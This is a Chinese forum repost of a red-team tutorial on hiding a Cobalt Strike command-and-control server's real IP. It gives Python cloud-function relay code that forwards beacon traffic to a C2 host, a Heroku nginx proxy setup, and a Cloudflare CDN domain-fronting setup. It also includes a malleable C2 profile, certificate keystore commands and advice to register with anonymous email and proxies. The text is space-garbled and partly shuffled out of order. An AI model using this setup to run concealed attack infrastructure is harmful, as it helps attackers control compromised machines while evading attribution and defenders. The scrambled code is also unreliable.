设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [21941] 2021-05-06_红队攻防之隐匿真实CobaltStrikeIP ...
返回列表 发新帖
查看: 0|回复: 0

[21941] 2021-05-06_红队攻防之隐匿真实CobaltStrikeIP

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-05-06_红队攻防之隐匿真实CobaltStrikeIP 红 队 攻 防 之 隐 匿 真 实 C o b a l t   S t r i k e   I P L e m o n S e c   2 0 2 1 - 0 5 - 0 6 转 自 f r e e b u f   ， 作 者 m 0 s w a y 云 函 数 云 函 数 隐 匿 真 实 隐 匿 真 实 I P 本 次 实 验 利 用 的 腾 本 次 实 验 利 用 的 腾 * 云 ： 云 ： ( 其 他 也 相 同 其 他 也 相 同 ) 点 击 新 建 云 函 数 ， 选 择 创 建 方 式 — 自 定 义 创 建 ， 函 数 名 称 自 定 义 或 者 默 认 都 可 以 ， 运 行 环 境 选 择 p y t h o n 3 . 6 ， 其 他 版 本 也 行 。 云 函 数 代 码 如 下 ( 可 先 点 击 完 成 ， 后 面 再 补 进 去 ) ： #   - * -   c o d i n g :   u t f 8   - * - i m p o r t   j s o n , b a s e 6 4 , r e q u e s t s d e f   m a i n _ h a n d l e r ( e v e n t , c o n t e x t ) :         C 2   =   ' h t t p : / / I P : P O R T '         h e a d e r s   =   e v e n t [ ' h e a d e r s ' ]         p a t h   =   e v e n t [ ' p a t h ' ]         i p   =   e v e n t [ ' r e q u e s t C o n t e x t ' ] [ ' s o u r c e I p ' ]         h e a d e r s   =   e v e n t [ ' h e a d e r s ' ]         h e a d e r s [ ' X - F o r w a r d e d - F o r ' ]   =   i p         p r i n t ( e v e n t )         i f   e v e n t [ ' h t t p M e t h o d ' ]   = =   ' G E T ' :                 r e s p   =   r e q u e s t s . g e t ( C 2 + p a t h , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )         e l s e :                 r e s p   =   r e q u e s t s . p o s t ( C 2 + p a t h , d a t a = e v e n t [ ' b o d y ' ] , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )                 p r i n t ( r e s p . h e a d e r s )                 p r i n t ( r e s p . c o n t e n t )         r e s p o n s e = {                 " i s B a s e 6 4 E n c o d e d " : T r u e ,                 " s t a t u s C o d e " : r e s p . s t a t u s _ c o d e ,                 " h e a d e r s " : d i c t ( r e s p . h e a d e r s ) ,                 " b o d y " : s t r ( b a s e 6 4 . b 6 4 e n c o d e ( r e s p . c o n t e n t ) ) [ 2 : - 1 ]
然 后 创 建 触 发 器 ， 具 体 配 置 如 下 图 ： 使 用 A P I 网 关 来 进 行 触 发 函 数 。 然 后 配 置 一 下 网 关 A P I 路 径 ：         }         r e t u r n   r e s p o n s e
选 择 立 即 完 成 并 发 布 任 务 即 可 。 这 里 配 置 完 成 后 ， 我 们 得 到 A P I 网 关 地 址 如 下 图 ： 记 一 下 该 地 址 ， 等 下 需 要 用 到 。 接 着 先 去 修 改 p r o f i l e 文 件 ， 配 置 文 件 h t t p - c o n f i g 设 置 如 下 ： h t t p - c o n f i g   {                 s e t   h e a d e r s   " S e r v e r ,   C o n t e n t - T y p e ,   C a c h e - C o n t r o l ,   C o n n e c t i o n ,   X - P o w e r e d - B y " ;
这 里 是 为 了 与 上 面 的 云 函 数 同 步 使 用 X - F o r w a r d - F o r 来 获 取 真 实 i p 。 然 后 我 们 就 可 以 去 C S 中 创 建 一 个 监 听 器 ， 配 置 如 下 图 ， H T T P   H o s t s 处   和   H T T P   H o s t ( S t a g e r ) 处 填 入 刚 才 获 取 到 的 A P I 网 关 地 址 ( P o r t   一 定 要 是 8 0 ) 。 如 在 云 函 数 中 指 定 了 p o r t ， 则 需 要 创 建 两 个 监 听 器 。 生 成 木 马 即 可 上 线 。 H e r o k u 代 理 隐 匿 真 实 代 理 隐 匿 真 实 I P H e r o k u 是 一 个 支 持 多 种 编 程 语 言 的 云 平 台 即 服 务 。 其 实 简 单 来 理 解 就 是 通 过 N g i n x 反 向 代 理 的 方 式 ， 从 h e r o k u 服 务 器 代 理 到 我 们 真 实 的 C S 服 务 器 。 首 先 ： 注 册 h e r o k u 账 号 ， 这 里 需 要 注 意 的 是 Q Q 邮 箱 和 1 6 3 等 国 内 邮 箱 注 册 不 了 ， 建 议 使 用 匿 名 邮 箱 。 地 址 ： h t t p s : / / d a s h b o a r d . h e r o k u . c o m 注 册 成 功 后 进 行 登 录 ， 访 问 以 下 网 址 进 入 配 置 页 面 。 h t t p s : / / d a s h b o a r d . h e r o k u . c o m / n e w ? t e m p l a t e = h t t p s : / / g i t h u b . c o m / F u n n y W o l f / n g i n x - p r o x y - h e r o k u                 s e t   h e a d e r s   " S e r v e r ,   C o n t e n t - T y p e ,   C a c h e - C o n t r o l ,   C o n n e c t i o n ,   X - P o w e r e d - B y " ;                 h e a d e r   " S e r v e r "   " N g i n x " ;                 h e a d e r   " C o n t e n t - T y p e "   " t e x t / h t m l ; c h a r s e t = U T F - 8 " ;                 h e a d e r   " C a c h e - C o n t r o l "   " m a x - a g e = 1 " ;                 h e a d e r   " C o n n e c t i o n "   " k e e p - a l i v e " ;                 s e t   t r u s t _ x _ f o r w a r d e d _ f o r   " t r u e " ; }
填 写 A p p   n a m e 以 及 T A R G E T （ 可 以 使 用 域 名 或 直 接 使 用 I P ， 端 口 在 创 建 监 听 器 时 用 作 监 听 端 口 ） 点 击   D e p l o y   a p p   进 行 创 建 容 器 就 可 以 不 用 管 了 。 回 到 C o b a l t s t r i k e ， 在 C o b a l t s t r i k e 中 配 置 两 个 监 听 器 第 一 个 监 听 器 设 置 P A Y L O A D 为 B e a c o n   H T T P S ， H T T P S   H o s t s 为 C S   I P ， H T T P S   P o r t 为 7 4 4 3 端 口 ( 第 二 步 设 置 的 端 口 ) 。 继 续 配 置 第 二 个 监 听 器 ， 同 样 设 置 P A Y L O A D 为 B e a c o n   H T T P S ， H T T P S   H o s t s 设 置 为 h u a w e i a p i . h e r o k u a p p . c o m ， 也 就 是 之 前 获 取 到 的 h e r o k u 的 域 名 。
H T T P S   P o r t 设 置 为 4 4 3 。 （ 这 里 一 定 要 4 4 3 ） 生 成 木 马 时 ， 监 听 器 设 置 为 ： 第 二 个 B e a c o n   即 ： h e r o k u 2 C D N 隐 匿 真 实 隐 匿 真 实 I P 申 请 免 费 域 名 h t t p s : / / m y . f r e e n o m . c o m 在 申 请 的 时 候 直 接 输 入   x x x x x x x . t k   否 则 可 能 会 显 示 该 域 名 被 注 册 。 最 好 能 开 个 代 理 ， 代 理 位 置 设 置 在 美 国 ( 和 个 人 信 息 中 的 国 籍 相 同 ) ， 否 则 一 个 域 名 有 极 大 概 率 会 申 请 失 败 。 然 后 去 h t t p s : / / d a s h . c l o u d f l a r e . c o m 添 加 c d n 站 点 ：
这 一 步 直 接 继 续 ， 自 动 生 成 d n s 地 址
复 制 这 两 条 放 到 f r e e n o m 处 ： c d n 上 关 闭 自 动 h t t p s 重 写 和 始 终 使 用 h t t p s 、 b r o t i 压 缩 ：
接 着 添 加 D N S ：
生 成 证 书 保 存 公 钥 以 及 私 钥 第 一 个 保 存 p e m ， 第 二 个 保 存 k e y 文 件 （ 复 制 即 可 ） 将 证 书 打 包 并 生 成 s t o r e 文 件 再 创 建 一 个 . p r o f i l e 文 件 把 x x x x x . p r o f i l e 和 x x x . x x x x x x . t k . s t o r e 拷 贝 到 c s 服 务 器 上 执 行 客 户 端 上 监 听 : o p e n s s l   p k c s 1 2   - e x p o r t   - i n   s e r v e r . p e m   - i n k e y   s e r v e r . k e y   - o u t   x x x . x x x x x x . t k . p 1 2   - n a m e   x x x . x x x x x x . t k   - p a s s o u t   p a s s : 1 2 3 4 5 6 k e y t o o l   - i m p o r t k e y s t o r e   - d e s t s t o r e p a s s   1 2 3 4 5 6   - d e s t k e y p a s s   1 2 3 4 5 6   - d e s t k e y s t o r e   x x x . x x x x x x . t k . s t o r e   - s r c k e y s t o r e   x x x . x x x x x x . t k . p 1 2   - s r c s t o r e t y p e   P K C S 1 2   - s r c s t o r e p a s s   1 2 3 4 5 6   - a l i a s   x x x . x x x x x x . t k h t t p s - c e r t i f i c a t e   {   s e t   k e y s t o r e   " x x x . x x x x x x . t k . s t o r e " ;   s e t   p a s s w o r d   " 1 2 3 4 5 6 " ;   }   h t t p - s t a g e r   {   s e t   u r i _ x 8 6   " / a p i / 1 " ;   s e t   u r i _ x 6 4   " / a p i / 2 " ;   c l i e n t   {   h e a d e r   " H o s t "   " x x x . x x x x x x . t k " ; }   s e r v e r   {   o u t p u t {   p r i n t ;   }   }   }   h t t p - g e t   {   s e t   u r i   " / a p i / 3 " ;   c l i e n t   {   h e a d e r   " H o s t "   " x x x . x x x x x x . t k " ;   m e t a d a t a   {   b a s e 6 4 ;   h e a d e r   " C o o k i e " ;   }   }   s e r v e r   {   o u t p u t {   p r i n t ;   }   }   }   h t t p - p o s t   {   s e t   u r i   " / a p i / 4 " ;   c l i e n t   {   h e a d e r   " H o s t "   " x x x . x x x x x x . t k " ;   i d   {   u r i - a p p e n d ;   }   o u t p u t {   p r i n t ;   }   }   s e r v e r   {   o u t p u t {   p r i n t ;   }   }   } . / t e a m s e r v e r   i p   p a s s w o r d   . / x x x x x . p r o f i l e
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:37 , Processed in 0.405425 second(s), 32 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表